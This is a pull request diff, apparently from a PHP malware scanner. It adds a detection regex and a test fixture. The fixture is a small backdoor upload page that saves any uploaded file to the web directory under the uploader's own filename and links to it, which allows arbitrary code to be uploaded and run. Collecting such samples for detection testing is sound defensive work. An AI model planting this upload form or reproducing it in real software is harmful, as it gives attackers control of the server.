Merge pull request #145 from helmo/malware-uploadform

marcocesarato · web-flow · commit 084e1da6f159 · 2026-05-07T19:33:39.000+02:00
New malware form file upload example
diff --git a/src/Signatures.php b/src/Signatures.php
@@ -3510,6 +3510,7 @@ class Signatures
         'preg_match\\("/\\$engines/"\\s*,\\s*\\$_SERVER',
         'preg_match\\("/\\$spider/"\\s*,\\s*\\$uagent',
         'echo\\s*eval\\s*/\\*\\*/\\s*\\(\'\\?>\'\\s*\\.\\s*join\\(""\\s*,\\s*file',
+        'move_uploaded_file.*\\$_FILES\\["filename"\\]\\["tmp_name"\\].*\\$_FILES\\["filename"\\]\\["name"\\]',
     ];
 
     /**
diff --git a/tests/Fixtures/malware/comments-class.php b/tests/Fixtures/malware/comments-class.php
@@ -0,0 +1,22 @@
+<html>
+<head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+    <title><?php echo $_SERVER['HTTP_HOST']; ?></title>
+</head>
+<body>
+
+
+<form method="post" enctype="multipart/form-data">
+    <input type="file" name="filename">
+    <input type="submit" value="submit">
+</form>
+
+<?php
+if (is_uploaded_file($_FILES['filename']['tmp_name'])) {
+    move_uploaded_file($_FILES['filename']['tmp_name'], $_FILES['filename']['name']);
+    $file = $_FILES['filename']['name'];
+    echo "<a href=\"$file\">$file</a>";
+}
+    ?>
+</body>
+</html>
